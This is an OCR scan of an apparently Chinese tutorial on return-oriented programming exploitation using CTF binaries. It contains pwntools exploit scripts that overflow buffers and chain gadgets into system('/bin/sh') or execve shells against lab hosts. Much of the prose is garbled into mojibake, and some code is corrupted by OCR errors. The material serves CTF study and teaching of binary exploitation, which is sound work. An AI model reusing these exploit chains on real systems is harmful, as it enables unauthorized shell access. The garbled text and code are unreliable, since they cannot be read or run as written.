-radata:ARALRAZ29  rndata enrs

EER(1FEFpwntoo | sSBITHEEIRENE  isoc99 scanfZEPLTIR AR, PLTRFBE—EEstubfthd, JSEIPE
BHRENRBHIPLTRIIG AT AEZARIZE .. F1FE, T8N HAREFFRIE, ESHMNAEL
ANtk B, MR AT LAAIE H—ROPHE

FARMR—T . BITEFIRNATUEER), HEIPIERretndT, R EHBBEBMBAINTE—HE, K2
pltF}RH  isoc99 scanfRiEithilt, RIFEEEAINSE. ![] (data/attachment/album/201807/06/113538
drglfegferrimrtry. png) FNVBELIRHAMIT, ElibcFIT—IL2E, HINUWREIT—MER ] (data/
attachment/album/201807/06/113544p5333t7qe797qgbt. png) XZ R4 ? HIIEHM— T ZBIHAS .
FAHiEcal 1355 cal HIESHIT—KIES MU ENE S, Lifical VHRAMEREIRITERE, retiEdH
SHEE #cal 1IESENKRFRIMUEEABEIP. BREXBHNISTcal | HEFERAT__isoc99_scanf, &E
f&eal 13IES—HEEREN—Hb4E, EATEREOA IR B HbLE B KiEE scanf_addrByformat_s, MHE—NEH
FMETAL Tbhinsh_addr”

callifAf B ER
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o unk_8048629
08048557 mov  [esp+4], eax+ eax
08048558 _mov  dword ptr [esp], offset unk 8048629 v

08048562 call ___isoc99_scanf o

08048567 lea eax, [esp+18h]«

H

H

¢ REFHEP 08048567
08048557 mov  [esp+4], eax+

PSR o ZH1 unk_8048629
08048558 mov  dword ptr [esp]. offset =
unk_8048629  « B2 eax
08048562 call _isoc99 scanf ; push 08048567«

08048567 lea eax, [esp+18h)

! I
F7E22610 __isoc99_scanf; « {RFEHEIP 08048567
FTE22610 ush eb

0 R BH1 unk_8048629
F7E22611 mov ebp, esp« =
o B2 eax
0 e
£
)
+
@it PLT RiAA R BAIER -
+
08048580 leave« _|Socgg_scanf@plt
08048581 retn ; pop eip+ unk 8048629
) &

eax
)
P
5
)
F7E22610 __Isoc99 _scanf. « {RTFE9EIP unk 8048629
F7TE22610 push ebp« 01 cax
F7E22611 mov ebp, esp«
. @ﬁz ......
. ———
O e
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MNEFIER G XA EHRNTAEER], BT Teal HESHEKRE, MRBNERERNEHER R
—MNEANLRRMIE, WIHR RIS EMEER. AARITEZER—TROPE. RIE_EHEAIHE
®, BHNNZAESHMRFHEIPRERE—MITRRIBRE M. ETHAEMscanfiZElF & TR
Hﬂsgstemgﬁ, HAL__isoc99_scanfHITREBRIBE EmainR L, UETHHRITRKEE . MR
JERIROPSELN T -

from pwn import *

context. update (arch = 'i386', os = 'linux', timeout = 1)
io = remote ('172.17.0.3", 10001)

elf = ELF('. /pwn1")

scanf_addr = p32(elf. symbols[' isoc99 scanf'])
format_s = p32(0x08048629)

binsh_addr = p32(0x0804a030)

shel lcodel = 'A'*0x34
shel lcodel += scanf_addr
shellcodel += main_addr
shel lcodel += format_s
shellcodel += binsh_addr

print io.read()

io. sendl ine (shel lcode1)

io.sendline( “/bin/sh” )

?ﬁﬁ]ﬁ}kiﬁﬁ'iﬁj&&, J%I}@%E!E,?I}Jiﬁ]ﬁﬁ_isoc99_scanf?E',” /bin/sh” FZFFERILEVE|HEHE0x0804a03040

LiLh iy Jp 2 1w LY wvw 10 (iR i) (iR o (iR (iR i) LIl (iR 1 L1l LR

les 6un030 62 69 6E 2F 73 68 60 00 00 00 60 00 00 00 00 fbil‘lfsh.

AR B Mma i n R FFIAHIT. RTHRMRESLZETHET, ZRNEEEHHEGHENFZTIH. REEX
FIFAROPHE A systemil{Tsystem( “/bin/sh” ), XAROPHER] LUET E—NEHR, STEAMAH A UAE
ST CHRFIRE], HATEER.

BETRILRNIRB B T U EFAROPIHA got RPMIEE . FAVITHTHE"/bugs bunny ctf 2017-
pwn150/pwn150, REZFATALIGEL HPI7EHel 100 B

signed __inté4 Hello()

{
signed __inté4 result; 2/ rax@2
char s; /7 [sp+0h] [bp-58h]@1
FILE =u2; // [sp+48h] [bp-8h]@1

printf("Hello pwner, Send me your message here: "');
fflush{stdout);

fgets(&s, 192, stdin);

v2 = fopen('bugsbunny.txt*, “a"});

if ( vz )

{

fFurite(&s, O8x46ulLl, 1ulLL, v2);
result = OLL;
H
else
{
puts{"So shorry cant talk to you now :z{ ");
result = 1LL;
H
return result;

H




OB

ME—NF—#E, ATFRRFTE TNIRIP, FHATLMIEEIsystemsEEAN" /bin/sh” FRF&ER, F2FFEmain
REHBPIEARTEHSENXH— M todayBIEEH, HIT T system( “/bin/date” ), ABLsystemBEEAE T -
EF” /bin/sh” E5H, BRIEFTEA, BRERNHKBT” sh” ZFH, FAXNEFRESIHTa U

shel |
UU4UUSHE B8 JU U9 UU U9 11 U9 IH U9 (¥ 1Y DU UY U0 U8 BY . ¥....... P

AB40A3BF OO0 68 B0 6O 0O OO A 6O 86 1D 60 66 66 11 BB 1A .. .......ccenn.
884883CF BB 80 10 60 90 00 60 O 00 68 00 00 60 00 60 60 .M. _.___........

69 62 63 2E 73 6F 2E 36 88 66 66 6C 75 ibc.so.6.fFFlu
66 6F 70 65 6E 88 70 75 74 73 60 73 74 @npen puts.st

J 00 70 72 69 6E 74 66 BB 66 67 65 74 73 din.printf.fgets
BBL0B4BF 988 73 74 64 6F 75 74 B8 73 79 73 74 65 6D 08 66 .stdout.system.f
aOLe041F 77 72 69 74 65 00 5F SF 6C 69 62 63 5F 73 74 61 write._ 1libc_sta
0O40042F 72 74 SF 6D 61 69 6E 80 SF S5F 67 6D 6F 6E SF 73 rt_main._ gmon_s
B040043F 74 61 72 74 S5F SF 88 47 4C 49 42 43 S5F 32 2E 32 tart__ .GLIBC_ 2.2
0Ou0644F 2E 35 90 00 00 02 00 02 90 62 00 82 00 02 80 00 .5.......-c-.c--
GO40045F 90 02 00 02 00 62 00 62 00 62 00 00 00 60 00 B0 .. ....--cciccccens
A04OA04GF O 01 80 01 900 01 00 60 60 10 00 00 00 60 B0 80 ... ... ..-...----.
OK, MEFRMBTHELE S, B TsystemBH, BT FRFHER” sh” , ALUEAHshel | T, EEBRNERR
ESHMEIE. Mx86FE, HExMATBESHMMNERAMKMIErdi, rsi, rdx, rex, r8, r9, ZHEHE
BASAER GRIBIABYENARAREAR, BEEXME , B, HIMMBE—NARIEERNIE.
BT AT LUEHIRR, RIEROPHIEIE, ﬁiﬁ]%??ﬁ@]ﬂ’\]?ﬁ%pop rdi; ret, AIEERATW®EMI, EHXEH
Tk H KRB H .
BRZITAEFLIFE KK EIROP gadget, fjlflpwntools B HIROPZ, ROPgadget. rp++. ropeme®, 7EXE
F{FF B 2ER0Pgadget (https://github. com/JonathanSalwan/ROPgadget )
1BiJROPgadget ——binary 57 ﬁ%‘]i# FERgrepfEfIt M Bgadgets IS HREFEENHE

h1n+r pwnl5@ | grep "pop rdi

OXE DE P ; ret
iZEﬁ— /J\truck B, ®E— TIDAFP RAMHUHASF R 4.
Jtext:000000000BLNOBERZ pnp ris
.text : 0000000004 0088 retn

AR L TN H 3R 5 0x400883iX M tik, 0x4008822pop r15, IE TR Z0x4008848retn, AB4IXNpop
rdiS A2 2EAR0Pgadgethibug THE? AIA, FA11EHEEO0x400882, IRIRIEHEDILIHAEIE-
Ldext:ddDbboooDDNDDRED

Ltext:0000000000N0DDBR2 db N1h
LtextidRdRodooRaNyR0REd db 5Fh ;
Ltext:000000000080088Y

text : NAMRENANNRLODRRY retn

e L T L . L 2 B

?*Fﬁ?¢0x400883&0$§#§&ﬂzﬁﬂ

.text :0000000000500883 pop rdi
.text : 00000000004 0088, retn
bext-A0ABAAAABALAARRYL I T
FATTIAFE E Kpop rdiSZFR_ERpop r15H) “—E4” « XWEREIE T LARIES AT R—EAWBEITAE
sEopcodeIEIERIANE . REXRMBIERERNFEAIINIT, KA L opcode, BiE T EHETSHID
Ry,
MERNCEESGF THERA, ATUTFIAHERPHE T . XEHKNIEEAHcall systemisd, HET Fah
ER EAMR E HbLERIIRTS, BIANTR:




QEMIE

#!/usr/bin/python

#coding:

utf-8

from pwn import *

context. update (arch = 'amdé4', os = 'linux', timeout = 1)

io = remote('172.17.0.3",

10001)

call_system = 0x40075f

#eall systemf§STENEFERHNE

| EFRATHIEETEH

binsh = 0x4003ef HF R sh" ERNEFEFHNE
pop_rdi = 0x400883 #pop rdi; retn

payload = ""

payload += "A"*88 #padding

payload += pé4 (pop_rdi)

payload += p64 (binsh) #rdifgEFEFFE"sh"
payload += p64(call_system) #A B systeml{Tsystem("sh")

io. sendl ine (pay | oad)
io. interactive ()

BT, &M FFshel | RII.

os @) stack view o &
[ 2 ]
00887FFEFDBABGYH  BOMABOOAABLOAIEF puwni50: 0B4BOIEF
O00B7FFEFDBANGYE OODOOAOBOBLOBTSF today+9
BOROBBRROBLDATF2
60000808004087F2 locret_4007F2: 00087 FFEFDBABGAD  DOOADO00AD, 0000A pyn1sa:nnuuﬂ?on
00000B00ABLOB7F2 1eave A0BO7FFEFDBABGAS BOOB7FBFABIFEBF1 1libc 2?.24_so:_ libe_start_main+F1
00087 FFEFDBABGED  BOROBOOROBO0OOE0
00B00B0DOB4OS7FS Hello endp 00087FFEFDBABGES  BOBO7FFEFDBAG788 [stack]:@8007FFEFDEAG7ES
POBOOERDOBLBATFI 00087 FFEFDBABGCE  BOROOOA100000000
00887FFEFDBABGCS  DOOABOOBABLOB7FE main
00087 FFEFDBAAGDE BODOOAOBOAAODOOA
00887 FFEFDBABGDR  6OF672D94146A375
00067FFEFDBABSED  POOAOANOODLOBG6E _start

retnBkEEZE0x4008834 Hgadget: pop rdi; ret

|Illlllll?FFEFDBﬂl]698 00060000004 B075F today+9

BBBB7FFEF puni15@: BOLO0A0A
B0087FFEFDBABGAE libc_2.24.s0:_ libc_start_main+F1

e

BOBO7FEFABIFE3F1
BOOE7FFEFDBABGED OOOBODOOD0O00OOD
GBOBYFFEFDBARGES BOBOB7FFEFDBAB7ES
7FFEF o 1
OB0B7FFEFDBARGCS  DOOOOOOO0B4OO7FS main
GOOBYFFEFDBADGDE  DOOAOOODDOODOODD
BOOBYFFEFDBARGDE  6OF672D94146A375

pop rdif§” sh” FFFEFT7EHENE0Ox4003e fIR{ELArdi

-text: 00000000004 00883

GLLGLEGLE R GEE RS

GLLGLEGLGGEG LR RS [stack]: 00807 FFEFDBAB7 S8

OB0O7FFEFDEABSAD 0OD0OO0DBOLBBOOA puni150:00LOO00A
.text: 00000000004 0888Y ; B0007FFEFDBABGAR  OOOO7F8FABIFE3F1 libc_2.24.s50:__
-text:B0080008004BB885 align 16h BARA7FFEFDBEABGEA ABBOARDBBBAAROAA

Four - AGAAGGARGAL ARL0 A

retnpbsEE|cal | systemilk

0x02 {£FHROPIAM int 80h/syscal |

EE—d, FHAEHE) T —FMEERNFERRPHIZR. ERMINBEARRZHEATEFEFHISS
AsystemiB#, FEXFERTENATEES Eth5EEE Bfr. EX—TPHNE LF INZEITIROP
Fint 80h/syscall

XTFint 80h/syscall, fEE—BXEN (RHKPA) —HHPELXMTNE, MAEKNIEKEH T /Tamu CTF
2018-pwn5/pwn5. X MNMEFHIEZEINEEEprint_beginning O SLIY .

ARAATECCENRAGARG AOAATCCCCNDAATER fetacld-GOABTCE




DEMIE i ETRETIIETTER

1lint print_beginning()
24
3| int result; // eax@6

4| char vi1; /7 [sp+Fh] [bp-9h]@1
5

6

i

8

puts("Welcome to the TAHU Text Adventuret™);

puts(“You are about to begin your journey at Texas A&M as a student
puts("But first tell me a little bit about yourself");
9| printf("What is your first name?: ");

18| fgets(&First_name, 100, stdin);

11| strtok{&First_name, "\n");

12| printf{"What is your last name?: ");

13| fgets(&last_name, 100, stdin);

14| strtok{&last_name, "\n");

15| printf{"What is your major?: ");

16| fgets{major, 20, stdin);

17| strtok(major, "\n");

18| printf("Are you joining the Corps of Cadets?(y/n): ");
19] v1 = getchar();

8| corps = vl == ‘yY° || vl == '¥°;

1| printf("\nWlelcome, %s %s, to Texas A&Mt\n");

22| if ( corps )

13 result = first_day_corps{);

4 else

5 result = first_day_normal();

26| return result; |
17y

XN EHARERputs ) Fprintf O IHIER, EXRFE(VMAfirst_name, last_nameFdmajor = NFHFFEEF|
TMERTRE, RERFEEMNCorps of Cadets. FEEETEEMEHEN—NERZHEH
int first_day_corps()

<

int result; // eax@1

printf("You wake with a start as your sophomore yells \"Wake
puts("As your sophomore slams your door close you quickly get
puts("You spend your morning excersizing and eating chow.");
puts(“Finally your first day of class begins at Texas A&H. Wh
puts("1. Go to class.\n2. Change your major.\n3. Skip class a
18] getchar();

11| result = (char)getchar();

LN EON -

12| if ( result == '2' )

13| {

14 printf("You decide that you are already tired of studying %
15 printf("What do you change your major to?: ");

16 result = change_major();

17| 3

18| else if ( result > '2' )

19| ¢

' if ( result == "3' )

2] {

12 result = puts("You succumb to the sweet calling of your r
'3 3y

'y else if ( result == '4' )

1 {

'6 puts(“You realize that the corps dorms are probably not t
7 result = printf("Unfortunately the queitness of the libra
'8 y

9l 3

18| else if ( result == '1' )

1| ¢

12 puts(”You go to class and sit front and center as the Corps
13 printf(“As the lecturer drones on about a topic that you do
I result = puts(“You wake with a start and find that you are
15 3

I6| return result;

170}y

FATTIUAB B R EEFET2 A S H E#change_major (), HiETERR 2FTENE —L A . #HAchange_
major O f5, HEMEAMT—HiEH:

39
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Us] 1A view— A Il L aTuLVLUUE A I Oex it
1jint change_major()

24

3 char dest; /f [sp+Ch] [bp-1Ch]@1

y
5| getchar();

6| gets(&dest);

7| strncpy(&dest, major, Ox14u);

8| return printf{"You changed your major to: %s\n");

R T b RE, RIMATUFIREEE Agetshel I T BIGF KRB, XNMEFEL T EsystemdR
#., 1BEEF{1FHROPGadget —binary pwn5 | grep “int 0x80” %] T —/AIFAYgadget
# ROPgadget --binary pwn5 | grep "int ©x8e"

add byte ptr [eax], al ; int ©x80
0x08071001 add dword ptr [eax], eax ; add byte ptr
Ox08071005 int ©x80

E—T E—EBxE, R{1FLEEhttp://syscal ls. kernelgrok. com/ LA Esys execveilH, [E
HERIAR R Fshel |, XNRFGIAAEEZRESNFERR, Heax = 11 = 0xb, ebx = &( “/bin/sh” ),

0x08071003
int 0x80

[eax], al ;

_ _ . . TR o . = T by IS 3 T A
ecx = edx = edi = 0. “/bin/sh” FATTUERTHMAZBUEENEBHEEF. ETRENAEZSIL
ROPgadgeti¥ Zpop eax/ebx/ecx/edx/esi; retT . o
- Name A s - -
# : eax 2 ebx ecx edx esi edi +
0 sys_restart_syscall 0x00 - k
1 sys_exit 0x01 int error_code k
2 sys_fork 0x02 struct pt_regs * a
3  sys_read 0x03 unsigned int fd char __user *buf size_t count f
4 sys_write 0x04 unsigned int fd const char __user size_t count f
*buf
5 sys_open 0x05 const char __user int flags int mode f
*filename
6 sys_close 0x06 unsigned int fd f
7 sys_waitpid 0x07 pid_t pid int __user *stat_addr int options k
8 sys_creat 0x08 const char __user int mode f
*pathname
9  sys_link 0x09 const char __user const char __user f
*oldname *newname
10 sys_unlink 0x0a const char __user f
Eoatho oo
11 sys_execve 0x0b char __ user * char __user *__user char __user struct pt_regs - 5]
by = user = *

pop eax; pop ebx;
Ox080als50a

pop_ edx;_pop ecx:

HIIEROPHEF I ARG T
#!/usr/bin/python
#coding:utf-8

from pwn import *

io = remote ('172.17.0.2', 10001)
ppppr = 0x080a150a
pppr = 0x080733b0

int_80 = 0x08071005
binsh = 0x080f1a20

#int 0x80
#first_name address

pop esi

; pop edi

#pop eax; pop ebx; pop esi; pop edi; ret
#pop edx; pop ecx; pop ebx; ret

ret
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payload = "A"*32 #padding

payload += p32 (ppppr) #pop eax; pop ebx; pop esi; pop edi; ret
payload += p32 (0xb) #eax = Oxb

payload += p32(binsh) #ebx = &("/bin/sh")

payload += p32(0) #esi = 0

payload += p32(0) #edi = 0

payload += p32 (pppr) #pop edx; pop ecx; pop ebx; ret
payload += p32(0) #edx = 0

payload += p32(0) #ecx = 0

payload += p32(binsh) #ebx = &("/bin/sh")

payload += p32(int_80) #int 0x80

io.sendline("/bin/sh")
io.sendline ("A")
io.sendline ("A")
io.sendline("y")
io.sendline("2")

io. sendl ine (payload)

io. interactive ()

#first_name BE7E{E"/bin/sh"
#PEEIIN
#REEIIN
#HEVHENEHfirst_day _corps()
#EIN233 Nchange_major (), fii& ki

JRE A THITEM T, ROPHEF R A%

FFS8CALPC § 41414141

FFSCA4YAD Y] 41414141

FFECALAL | 1414141

FFSCALAS | 41414111

FF8CA4AC

FFECA4YBO | 41414141

FF8 BL | 1414141

FFECA4BB | 41414141

FFBCALBC | 08048A00 | first_day normal+11C
F8CALCH .data:_10_2_ 1 _stdin_

FF8CAL4CY ©OODOOGBA

0x080al50a | #pop eax;
PPpPr = Ox0807/33b0O #pop edx;
int 80 = Ox08071005 #int Ox80
binsh = 0x080f1la20 #first name address

pop ebx; pop esi; pop edi; ret
pop ecx; pop ebx; ret

payload = "A"#*32
payload += p32(ppppr)
XRATLE?
14t pay | oadfg & I0x080150a B H B N0x0a, ) “\n”
>>> payload

#padding

#pop eax; pop ebx; pop esi; pop edi; ret

'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANN\X15\n\x08\x0b\x00\x00\x00 \x1a\x0T\x08\x00\x
00\ x00\x00\x00\x00\ x00\x00\xb03\x07\x08\x00\x00\x00\x00\x00\x00\x00\x00 \xla\xef
\XO08\x05\x10\x07\x08"

ERARBNR, RNSEMEER” \n” KRBALR, ERXAHBEZRTXMEHIZHFHE, Eitx

IEEEHPkiLgadgets. Ff1IBgadget R IX—5K
0x08095T1f4 pop eax ; pop ebx

-

pop edi ;

pop esi pop ebp

MBI R T getshe |
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0x03 Mé&sERIlibcthIHgadget

At Rpwngl B th 2R — N pwnIME B N ARARY | ibce FEXFMERT, BATMATLUAITHELEANE ibc
PR AR EANTFF AP, J‘Eﬁi‘l‘%fﬁ%@%?ﬁﬂﬂsystem%ﬂ “/bin/sh” El’\JittiJJ:#iJﬂFﬁo X—TRflF=2
“/Security Fest CTF 2016-tvstation/tvstation. XZ—/NELE & BRI BEHPRT BERERA=D
%Iﬁzﬁl\ﬁ K%Eﬁﬁ’]ﬁlﬁ4 %Iﬁ4AE§‘§ﬂEﬂﬂjsystem~%&TW?%EPE’JEHMJ:

i~# ’tvstatlon

=== TV Station - Control Panel ===
1) Show uptime

2) Show current user

3) Exit

Choice: 4

=== TV Station - Debug Menu ===
[Debug menu] system is @0x7f7d848df6ae

ssize t I'|Phllr|(\
i

void =vl@; /7 STO8 8@1
{ size_t vi; /7 rax@i

puts{"\n=== TU Station Debug Menu ==="};
ve = dlsym{(void =)BxFFFFFFFF, “system");
sprintf{fmsg, info, v@);
vi = strlen(fmsg);

I| write(1, fmsg, v1);
return debug_func();

0y
MIDARFERA TR AFE RS TEN 2t F1T T #debug_func O, HENFHdebug func ) ZGERMNELZIM TiaH
=1

Ay

|ssize_t debug_func()

| __inté4 buf; // [sp+Bh] [bp-28h]E1
__intéhs v2; /7 [sp+8h] [bp-18h]&@1
__inté% v3; /f [sp+1Bh] [bp-1Bh]E1
__intéhs vh; /7 [sp+18h] [bp-8h]e@1

buf = OLL;
v2 = BLL;
v3 = BLL;
v = BLL;
return read(0, &buf, OxC8uLL);

1}

BTFXNEBEA T ibe, BRINESKMEL T systemfIN7FHE. [FH A Sreadelf —a &F | ibc. so. 6_x64
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PHDR
INTERP

[Reque
LOAD

LOAD

DYNAMIC

NOTE

TLS

GNU EH FRAME
GNU_STACK

GNU_RELRO

n to Segment mapping:

.interp
Lanu.build-id .note.ABI-tag . -ha i . dy \ A i d .gnu.y
libc_freeres_fn _ libc

it array libc subf

X KE EFRTAT LB LK. textT (Section) BTFEHE—LOADE; (Segment) , XPMEMINHKEMHE
KER—HH, tRBRAEHREHEEHMHEIANEF, REZENENEERETISKEN. BTaE
AUPHDR, INTERPFEANES th 2 [RAERRET, BTLATEIDAREZIMsysteme thilk 3R B se 4 Sk A0t Ht (B A 1 TRTAY
R R—H. -

.text: SHA0 system proc near
Ltext:00000000000556A0 58 85 FF test rdi, rdi
Ltext:D0D000000DONS6A3 )TN BB jz short loc_AS56B0
Ltext:D0DD00OODDDNS6AS JEY 86 FA FF FF jmp sub_ 45130
.text: 5605

B X BOROOBD0O0LS ¢ 66 OF 1F 44 00 00 align 18h
LAdext:0000000000045600
Ldext:00DDOOROODOLSGED loc_ASéB0:
.text:0000000000045680 48 8D 3D 91 55 14 0O lea rdi, aExite
Ltext:00000000000056B7 K8 83 EC 08 sub rsp, 8
Lddext:00000000000556B8 ES 7O FA FF FF call sub_45130
Ltext:00000000000556C0 85 CO test eax, eax
Ltext:00000000000456C2 OF 9% CO setz al
.text:00DD00OODOONSGCS W8 83 Cu 08 add rsp, 8
Ltext:00000000000456C9 OF B6 CO nOVZX eax, al
LdAext:00000000000856CC C3 retn
Ldext:0000000000045600C system endp

Epuk: AMBRARRARABLELNS  _ . _ . _ . - . -2 -2 | == —— BoGER MEEEG fRE MW
4:56A0h: 48 85 FF 74 0B E9 86 FA FF FF 66 OF 1F 44 00 00 H.yt.étt
4:56BOh: 48 8D 3D 91 55 14 00 48 83 EC 08 E8 70 FA FF FF  H.='U..I
0000h: 7F 45 4C 46 02 01 01 03 00 00 00 00 00 00 00 00 .ELF............
WEIXIEF, &K systenfEAIFF AR 0x7fb5c8c266a0

LIUL £.£%.3U.UUUWI FrD2LO0LLZUUHY

libc 2.24.50:00007FB5C8C266A0 _ 1ibc system proc near

libc 2.24.50:00007FB5C8C266A0 test rdi, rdi

libc 2.24.50:00007FB5C8C266A3 jz short loc_7FB5CB8C266B0
« libc_2.24_s0:00007FB5C8C266A5 jmp sub_7FB5C8C26130

Tiher 2 92h ca-AOAAZERCMrAr2&&80L0

0x7fb5c8c266a0 —0x456a0 =0x7fb5c8be1000[ |
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11b[: 2 21I.

50:80007FB5C8BE1000
“ libc_2.24.50:00007FBSCSBE1800 db 7Fh ;
* [libc_2.24.50:08007FBSCSBE1061 db  45h ;
® [libc_2.24.50:00007FBSCSBE1002 db  4Ch ;
* [libc_2.24.50:008007FBSC8BE1083 db  4éh ;
® [libc_2.24.50:00007FBSCSBE1004 db 2

* [libc_2.24.50:08007FBSCEBE1665 db 1
RIEXANFESE, FABAT BT

SR H Ath SR A E HOUEF AT

TElibchFEEZFTHR” /bin/sh” |, ZFEFRALT. data¥s, RIEREIERER(IHEATUSHX

nwﬁﬂﬂ%ﬁ%

ML . R IUALIY AN WY e

Lrodata:peooppenen18aAcaDn

.rodata: o00000000018ACHD 2F
-r nll il sz l'll'll'llil'llil'lln'llil'”ﬂﬂl lll1

ar

ﬁﬁﬁ ;EF%%E’Jgadget ‘pop rd i

ret
Ldext:000000000001FD7A SF
LdLext:ooons B@81FD7B C3
dext:0odopoeoed0IFDTB
WA LU E AT
#!/usr/bin/python
#coding:utf-8
from pwn import *
io = remote('172.17.0.2', 10001)
io. recvuntil (": ")
io.sendline('4")
io. recvuntil ("@0x")
system addr = int(io. recv(12), 16)

libc_start = system addr — 0x456a0
pop_rdi_addr = libc_start + Ox1fd7a
binsh_addr = libc_start + Ox18ac40

payload = ""

payload += '"A"*40

payload += p64 (pop_rdi_addr)
payload += p64 (binsh_addr)
payload += p64(system_addr)

io. sendl ine (pay | oad)

io. interactive ()

I 0x04 —&15%BIgadgets

X—HEENBRENMFHgadgets. FE—gadget @EWMIEEFgadgets, BENMTx64HIELFFERF

B libc_csu_initd, IATEERR:

62 69 6E 2F 73 68

| EFREHISET VER

_vdso_

assune es: UIISIJ

. ss:_udso_. ds:_vdso_, fs:_vdso_, gs:

'r||—rr|-|

o5t 3% SR AT | ibe AP Y ER BUtIESRER | ibe EERITF R NS AT E M tE, AT LA RE
XA FFFER R

o C LU

80 aBinSh db ‘/bin/sh®,0
pop rdi
retn
#BREE BB IE T

#IT BN S A sy s tem R 30 7E A 72 A9 itk
#ﬁﬁﬁ%ﬁ%nmtﬂﬁ*%ﬁmm

#pop rdi; ret FERFEHRIMLE, BsystemBEfES
#"/bin/sh"F & B ENTFF AL

#padding
#pop rdi; ret
#systemBT S

#AFsystem() #{Tsystem("/bin/sh")

R
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=LCAL.DUDDDDDDDUTOOU ©
.text:0000000000400BF D loc_400BFO: ; CODE XREF: __ libc_csu_init+54}j
" |.text:0000000000406BF O nov rdx, 13
" |.text:0000000000400BF 3 nov rsi, r14
" |.text:0000000000400BF 6 nov edi, r15d
" l.text:000P0000O04BBBF9 call quord ptr [r12+rbx+*8]
" |.text:0000000000400BFD add rbx, 1
" .text:00000000004006C 61 cmp rbx, rbp
! |.text:0000000000406C B4 jnz short loc_LOBBF8
-text:0000000000400C 06
-text:0000000000400C06 loc_ 40OCO6: ; CODE XREF: __lihc_csu_init136fj
" |.text:0000000000400C 06 add rsp, 8
" |.text:00000000004006C0A pop rbx
" |.text:0000000000400C 0B pop rbp
" |.text:0000000000406C OC pop ri2
" |.text:000P000000406C BE pop r13
! |.text:0000000000406C10 pop rih
" |.text:000POBOAOOLABC12 pop 15
! |.text:0000000000400C14 retn
.text:0000000000400C14 _ 1libc_csu_init endp

L%EHE@QT@¢@@ﬂ,ﬁ%%
pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; retn
mov rdx, r13; mov rsi, r14; mov edi, r15d; call qword ptr [r12+rbx*8]

S AEAE AL AT RAFS 2] — 1 gadget

=LEAL . UUUUUUUUUU'IUUU IO »

-text:0000000000400C13 pop  rdi
-text:0000000000400C14 retn
-text:0008880000400C14 IEHENCSUNIRIENERERNENSSaREIISISN

pop rdi; retn

FAVEEEXCARELFIEF PR R LS, BEIRFRrdi, rsi, rdx, rex, r8, r9, ¥, K E=Eeadgets
h, E—EALUEEr12-r15, ELEE= EﬂﬁﬁﬁE‘.EuEE’]%ﬁﬁ%uErm EEE_KIEErsi, rdx,
rbx, EEFIMAr12+rbx*8ALlcal {EE—Mblt. 7E#kgadgetsHINEMERT, AJLAFIA X PeadgetsIRiEIIIE
ROPHE. FHEFEMRE, FHREgadgetsHIRHEEE&Erbp=1, EAcall aword ptr [r12+rbx*8] Z f52add
rbx, 1; cmp rbx, rbp; jnz xxxxxx. BITFIHNBEErbx=0, MM{Er12+rbx*8 = r12, Ffllcal I$§SLER
Brbxh RS . HikBIrbp 1= 1, jnzSFR# Tcal |, NTATEESIRCEREEIR . APAXEgadgets EAMH
e ? F{1kE—THBIF"/LCTF 2016-pwn100/pwn100

XM FIREE T libe, A SREAE, {F0x40063d

DIVA Y1ev=a L L Fseuuocous—a B3 4 NEX viev=l L LAl ST
intésd _ Fastcall sub_&@063D(__ intés al, unsigned int a2)

1
2
3| __intés result; // rax@s

| unsigned int i3 // [sp+1Ch] [bp-Nh]E1
L

6

7

8

fFor (i = 8; ; #+i )

{
result = i3

9 1f ( (signed int)i >»= (signed int)a2 )
10 break;
1 read(®, (void =)((signed int)i « a1}, 1ull);
12| 3
13| return result;
1k}

?izﬂ] SRR E— Moot RPEHAMIE, REHERBEMAsysten. BTHNRBRESR, BNAT
BWNRT
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#!/usr/bin/python
#coding:utf-8

from pwn import *

io = remote ("172.17.0.3", 10001)
elf = ELF(". /pwn100")

puts_addr = elf.plt['puts']
read_got = elf. got['read']

start_addr = 0x400550
pop_rdi = 0x400763

universal gadgetl = 0x40075a #7 BEgadgetl: pop rbx; pop rbp; pop r12;: pop r13; pop
r14; pop r15; retn

universal gadget2 = 0x400740 # ftgadget2: mov rdx, r13; mov rsi, r14; mov edi, r15d;
call qword ptr [r12+rbx*8]

binsh_addr = 0x60107¢c #bssHL T STDINFASTDOUTHAF | LELS #4474, BEEEHIEF
BAR

payload = "A"*72 #padding

payload += p64 (pop_rdi) #

payload += p64(read got)

payload += p64 (puts_addr)

payload += p64 (start_addr) #okaE R start, WEK
payload = payload. | just (200, "B") #padding

io. send (pay | oad)

io. recvunti| ("bye™\n")

read_addr = ub4(io.recv() [:—1]. | just(8, '\x00'))

log. info("read_addr = %#x", read_addr)

system_addr = read_addr — Oxb31e0

log. info("system addr = %#x", system_ addr)

KT ER A RegadgetsHUER, FAPEFEREIT AR read BHHEZEL/bin/sh\x00FF &, MAREEFERR
. BAIANIRIE A fEgadgetsTh B IFX

payload = "A"*72 #padding

payload += p64 (universal gadget1) #7 BEgadget1

payload += p64(0) #rbx = 0

payload += p64(1) #rbp = 1, TSI GEeadget2fcal | IR [E] /5 HIFI BT
payload += p64(read_got) #r12 = gotRHread AN, BHERread MM EIEMNE, HIF@ET
cal 1AM

payload += p64(8) #r13 = 8, read MHUTENIFT5H, Fftgadget2H{ELrdx
payload += p64 (binsh_addr) #r14 = readBEUEEU/ bin/shiRTZEIMILE, FhEgadget2M{E L rsi
payload += p64(0) #r15 = 0, readtR#AISHfd, BISTDIN, JEEgadget2iH{E
“Bedi

payload += p64 (universal gadget2) #7 BEgadget?2

BINBTRNZEEpay load FEE LIREIMIIE? 7, FKATEIKE—Tuniversal_gadget2 I ITIRIZ
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loc_LO0740:
mou rdx, r13
mnov rsi, ri4
nov edi, ri15d
call quord ptr [r12+rbx=8]
add rbx, 1
cmp rbx, rbp
jnz short loc_u00740
e —
loc_u4Be756:
add rsp, 8
pop rbx
pop rbp
pop r12
pop r13
pop [l
pop ri5
retn
init endp

ATHRNEE, EANBRRBRSPIT R, REREMFHRERITEHE oc_400756, X—RIIFRIER
SHFSTHECF BT, EERIEBEIREE6 FHORIRMIBR TR, REBIHELretnZDk

FERNHb L.

payload += '\x00'*56 #]7 fEgadget2[FHEEFIMTIER], TiEZ 2T fEgadget!, ATIEFR
%

payload += p64(start_addr) #PkEER|start, WEMK

payload = payload. | just (200, "B") #padding

BETRAMEEMIEEgetshel |
io. send (pay load)
io. recvuntil ("bye™\n")

io. send ("/bin/sh\x00") #_EEBI—ESpay loadifA T read B#IZEY " /bin/sh\x00", XE
AEFFFE

payload = "A"*72 #padding

payload += pé4 (pop rdi) #4hsystemiRK LS

